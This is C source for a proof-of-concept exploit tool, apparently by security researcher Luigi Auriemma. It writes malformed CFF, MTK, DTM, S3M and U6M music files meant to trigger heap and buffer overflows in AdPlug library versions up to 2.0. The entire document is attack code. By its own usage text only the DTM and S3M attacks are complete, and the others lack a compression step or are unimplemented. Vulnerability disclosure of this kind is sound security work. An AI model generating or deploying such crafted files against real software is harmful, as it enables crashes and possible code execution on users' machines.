/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER                     "0.1"
#define MODULESIZE              0x10000

#define LOWORD(l)               ((l) & 0xffff)
#define HIWORD(l)               ((l) >> 16)
#define LOBYTE(w)               ((w) & 0xff)
#define HIBYTE(w)               ((w) >> 8)
#define ARRAY_AS_DWORD(a, i)    ((a[i + 3] << 24) + (a[i + 2] << 16) + (a[i + 1] << 8) + a[i])
#define ARRAY_AS_WORD(a, i)     ((a[i + 1] << 8) + a[i])
#define CHARP_AS_WORD(p)        (((*(p + 1)) << 8) + (*p))



unsigned short dmo_unpacker_brand(unsigned short range);
int dmo_unpacker_decrypt(unsigned char *buf, long len);
void std_err(void);



#pragma pack(1)

struct {
    char            id[16];
    unsigned char   version;
    unsigned short  size;
    unsigned char   packed;
    unsigned char   reserved[12];
} cff_head;

struct {
    char            id[18];
    unsigned short  crc;
    unsigned short  size;
} mtk_head;

struct {
    char            id[12];
    unsigned char   version;
    char            title[20];
    char            author[20];
    unsigned char   numpat;
    unsigned char   numinst;
} dtm_head;

struct {
    char            name[28];
    unsigned char   kennung;
    unsigned char   typ;
    unsigned char   dummy[2];
    unsigned short  ordnum;
    unsigned short  insnum;
    unsigned short  patnum;
    unsigned short  flags;
    unsigned short  cwtv;
    unsigned short  ffi;
    char            scrm[4];
    unsigned char   gv;
    unsigned char   is;
    unsigned char   it;
    unsigned char   mv;
    unsigned char   uc;
    unsigned char   dp;
    unsigned char   dummy2[8];
    unsigned short  special;
    unsigned char   chanset[32];
} s3m_head;

#pragma pack()



int main(int argc, char *argv[]) {
    FILE            *fd;
    int             i,
                    j,
                    attack,
                    buffsz,
                    compsz;
    unsigned char   *buff,
                    *comp;

    fputs("\n"
        "AdPlug library <= 2.0 and CVS <= 04 Jul 2006 multiple overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <attack> <file_to_create>\n"
            "\n"
            "Attack:\n"
            " 1 = heap overflow in the unpacking of CFF files\n"
            " 2 = heap overflow in the unpacking of MTK files\n"
            " 3 = heap overflow in the unpacking of DMO files\n"
            " 4 = buffer-overflow in DTM files\n"
            " 5 = buffer-overflow in S3M files\n"
            " 6 = heap overflow in the unpacking of U6M files\n"
            "\n"
            "Note: this proof-of-concept is experimental and doesn't contain the code for\n"
            "      compressing the data so you must edit it for adding the missing code if\n"
            "      you have it\n"
            "      Actually only attack 4 and 5 can be considered completed!\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);

    printf("- create file %s\n", argv[2]);
    fd = fopen(argv[2], "rb");
    if(fd) {
        fclose(fd);
        printf("- do you want to overwrite it (y/N)?\n  ");
        fflush(stdin);
        if((fgetc(stdin) | 0x20) != 'y') exit(1);
    }
    fd = fopen(argv[2], "wb");
    if(!fd) std_err();

    if(attack == 1) {                   /* CFF */
        buffsz  = MODULESIZE + 256;

        buff = malloc(buffsz);

        memset(buff,                0,                                  MODULESIZE);
        memcpy(&buff[0x5E1],        "CUD-FM-File - SEND A POSTCARD -",  31);    // for quick return
        memset(buff + MODULESIZE,   'a',                                buffsz - MODULESIZE);

        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = 16 + compress(buff, comp + 16, buffsz);
        comp   = buff;
        compsz = buffsz;

        memcpy(comp,                "YsComp""\x07""CUD1997""\x1A\x04",  16);

        memcpy(cff_head.id,         "<CUD-FM-File>""\x1A\xDE\xE0",      sizeof(cff_head.id));
        cff_head.version = 1;
        cff_head.size    = compsz;
        cff_head.packed  = 1;
        memset(cff_head.reserved, 0, sizeof(cff_head.reserved));

        fwrite(&cff_head, sizeof(cff_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 2) {            /* MTK */
        buffsz = 0xffff;

        buff = malloc(buffsz);

        memset(buff,                'a',                                buffsz);

        /*
            DATA MUST BE COMPRESSED!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        strncpy(mtk_head.id,    "mpu401tr\x92kk\xeer@data",             18);
        mtk_head.crc     = 0;
        mtk_head.size    = 0;   // heap overflow

        fwrite(&mtk_head, sizeof(mtk_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 3) {            /* DMO */
        printf("- not implemented!\n");

    } else if(attack == 4) {            /* DTM */
        strncpy(dtm_head.id,    "DeFy DTM ",                            sizeof(dtm_head.id));
        dtm_head.version = 0x10;
        strncpy(dtm_head.title, "title",                                sizeof(dtm_head.title));
        strncpy(dtm_head.author,"author",                               sizeof(dtm_head.author));
        dtm_head.numpat  = 0;
        dtm_head.numinst = 0;

        fwrite(&dtm_head, sizeof(dtm_head), 1, fd);

        for(i = 0; i < 15; i++) fputc(0, fd);
        buffsz = 140;                   // <== buffer-overflow
        buff = malloc(buffsz);
        memset(buff, 'a', buffsz);
        fputc(buffsz, fd);
        fwrite(buff,      buffsz,         1, fd);

        for(i = 0; i < 100; i++) fputc(0, fd);

    } else if(attack == 5) {            /* S3M */
        strncpy(s3m_head.name,  "name", sizeof(s3m_head.name));
        s3m_head.kennung = 0x1a;
        s3m_head.typ     = 16;
        memset(s3m_head.dummy,  0,      sizeof(s3m_head.dummy));
        s3m_head.ordnum  = 0;
        s3m_head.insnum  = 120;         // <== buffer-overflow
        s3m_head.patnum  = 0;           // <== buffer-overflow
        s3m_head.flags   = 0;
        s3m_head.cwtv    = 0;
        s3m_head.ffi     = 0;
        memcpy(s3m_head.scrm,   "SCRM", sizeof(s3m_head.scrm));
        s3m_head.gv      = 0;
        s3m_head.is      = 0;
        s3m_head.it      = 0;
        s3m_head.mv      = 0;
        s3m_head.uc      = 0;
        s3m_head.dp      = 0;
        memset(s3m_head.dummy2, 0,      sizeof(s3m_head.dummy2));
        s3m_head.special = 0;
        for(i = 0; i < 32; i++) s3m_head.chanset[i] = 0;

        fwrite(&s3m_head, sizeof(s3m_head), 1, fd);
        for(i = 0; i < s3m_head.ordnum; i++) fputc('a', fd);
        for(i = 0; i < s3m_head.insnum; i++) { fputc('1', fd); fputc('0', fd); }    // little endian
        for(i = 0; i < s3m_head.patnum; i++) { fputc('1', fd); fputc('0', fd); }    // little endian

        for(i = 0; i < s3m_head.insnum; i++) {
            for(j = 0; j < 80; j++) fputc(0, fd);
        }

        for(i = 0; i < s3m_head.patnum; i++) {
            /* skipped */
        }

    } else if(attack == 6) {            /* U6M */
        buffsz = 1000;
        buff   = malloc(buffsz);

        memset(buff, 0, buffsz);
        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        fputc(buffsz        & 0xff, fd);
        fputc((buffsz >> 8) & 0xff, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(1, fd);

        fwrite(comp,      compsz,           1, fd);
    }

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}


